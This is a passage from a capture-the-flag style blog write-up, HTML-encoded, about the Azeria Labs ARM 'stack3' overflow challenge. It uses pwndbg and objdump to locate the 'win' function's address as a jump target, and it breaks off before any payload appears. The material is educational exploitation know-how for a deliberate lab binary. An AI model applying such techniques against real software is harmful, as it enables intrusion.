&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;103&lt;/span&gt;&lt;span class="nl"&gt;c8:&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="nf"&gt;e59f3010&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nv"&gt;ldr&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;pc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#16]   ; 103e0 &amp;lt;deregister_tm_clones+0x2c&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;103&lt;/span&gt;&lt;span class="nl"&gt;e4:&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="nf"&gt;e59f1024&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nv"&gt;ldr&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;r1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;pc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#36]   ; 10410 &amp;lt;register_tm_clones+0x2c&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;103&lt;/span&gt;&lt;span class="nl"&gt;e8:&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="nf"&gt;e59f0024&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nv"&gt;ldr&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;r0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;pc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#36]   ; 10414 &amp;lt;register_tm_clones+0x30&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;10400:&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="nf"&gt;e59f3010&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nv"&gt;ldr&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;pc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#16]   ; 10418 &amp;lt;register_tm_clones+0x34&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;10420:&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="nf"&gt;e59f4018&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nv"&gt;ldr&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;r4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;pc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#24]   ; 10440 &amp;lt;__do_global_dtors_aux+0x24&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;10448:&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="nf"&gt;e59f0024&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nv"&gt;ldr&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;r0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;pc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#36]   ; 10474 &amp;lt;frame_dummy+0x30&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;10460:&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="nf"&gt;e59f3010&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nv"&gt;ldr&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;pc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#16]   ; 10478 &amp;lt;frame_dummy+0x34&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;10484:&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="nf"&gt;e59f0004&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nv"&gt;ldr&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;r0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;pc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#4]    ; 10490 &amp;lt;win+0x14&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;104&lt;/span&gt;&lt;span class="nl"&gt;c8:&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="nf"&gt;e59f0018&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nv"&gt;ldr&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;r0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;pc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#24]   ; 104e8 &amp;lt;main+0x54&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;104&lt;/span&gt;&lt;span class="nl"&gt;f4:&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="nf"&gt;e59f604c&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nv"&gt;ldr&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;r6&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;pc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#76]   ; 10548 &amp;lt;__libc_csu_init+0x5c&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;104&lt;/span&gt;&lt;span class="nl"&gt;f8:&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="nf"&gt;e59f504c&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nv"&gt;ldr&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;r5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;pc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#76]   ; 1054c &amp;lt;__libc_csu_init+0x60&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;These two lines are interesting:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;10484:&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="nf"&gt;e59f0004&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nv"&gt;ldr&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;r0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;pc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#4]    ; 10490 &amp;lt;win+0x14&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;104&lt;/span&gt;&lt;span class="nl"&gt;c8:&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="nf"&gt;e59f0018&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nv"&gt;ldr&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;r0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;pc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#24]   ; 104e8 &amp;lt;main+0x54&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;And the winner is 0x10484!&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="mh"&gt;0x10484&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mh"&gt;0x4&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mh"&gt;0x8&lt;/span&gt;
&lt;span class="mh"&gt;0x10490&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;See how 0x10484 the address of the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;ldr&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; instruction plus the offset &lt;code class="none"&gt;0x4&lt;/code&gt; plus 0x8 bytes yields an address (0x10490) that we found before, a &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;If we dereference it we will see the address of the message:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nf"&gt;pwndbg&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;x&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="nv"&gt;wx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x10490&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x10490&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;win&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="mh"&gt;0x00010560&lt;/span&gt;

&lt;span class="nf"&gt;pwndbg&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;x&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mb"&gt;1b&lt;/span&gt;&lt;span class="nv"&gt;s&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x00010560&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x10560:&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nf"&gt;code&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;flow&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;successfully&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;changed&lt;/span&gt;&lt;span class="err"&gt;&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;So, our target is:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nf"&gt;pwndbg&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;pdisass&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x10484&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;►&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1047c&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;win&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nv"&gt;push&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;lr&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x10480&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;win&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nv"&gt;add&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;sp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#4&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x10484&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;win&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nv"&gt;ldr&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;r0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;pc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#4]&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x10488&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;win&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;bl&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;#puts@plt &amp;lt;puts@plt&amp;gt;&lt;/span&gt;

&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1048c&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;win&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nv"&gt;pop&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;pc&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3 id="a-comment"&gt;A comment&lt;/h3&gt;
&lt;p&gt;This is not the only way to do it.&lt;/p&gt;
&lt;p&gt;I could search for a &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;puts&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; call that would be more likely to be the one that we are looking for:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;pi@raspberrypi:~$&lt;span class="w"&gt; &lt;/span&gt;objdump&lt;span class="w"&gt; &lt;/span&gt;-d&lt;span class="w"&gt; &lt;/span&gt;stack3&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;grep&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;puts&amp;quot;&lt;/span&gt;
&lt;span class="m"&gt;00010324&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;lt;puts@plt&amp;gt;:
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="m"&gt;10488&lt;/span&gt;:&lt;span class="w"&gt;       &lt;/span&gt;ebffffa5&lt;span class="w"&gt;        &lt;/span&gt;bl&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="m"&gt;10324&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;lt;puts@plt&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;I could look which functions are available:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nf"&gt;pwndbg&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;info&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;functions&lt;/span&gt;
&lt;span class="nf"&gt;All&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;defined&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;functions&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;

&lt;span class="nf"&gt;Non&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nv"&gt;debugging&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;symbols&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x000102ec&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nv"&gt;_init&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x0001030c&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nv"&gt;printf@plt&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x00010318&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nv"&gt;gets@plt&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x00010324&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nv"&gt;puts@plt&lt;/span&gt;
&lt;span class="err"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nf"&gt;...&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x0001047c&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nv"&gt;win&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x00010494&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;
&lt;span class="err"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nf"&gt;...&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;I could use IDA or &lt;a href="https://rada.re/n/radare2.html"&gt;Radare2&lt;/a&gt; or similar and do a &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;xref&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;…&lt;/p&gt;
&lt;p&gt;Or I could just read what is the goal from the &lt;a href="https://azeria-labs.com/part-3-stack-overflow-challenges/"&gt;challenge&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I preferred a longer path to explore more the commands of &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;pwndbg&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and stress a little more my brain.&lt;/p&gt;
&lt;p&gt;Otherwise it wouldn’t be fun :)&lt;/p&gt;
&lt;h2 id="lets-jump"&gt;Let’s jump&lt;/h2&gt;
&lt;p&gt;This is the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;main&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; function:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nf"&gt;pwndbg&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;pdisass&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;►&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x10494&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="nv"&gt;push&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;lr&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x10498&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nv"&gt;add&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;sp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#4&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1049c&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nv"&gt;sub&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;sp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;sp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#0x50&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x104a0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;str&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;r0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#-0x50]&lt;/span&gt;
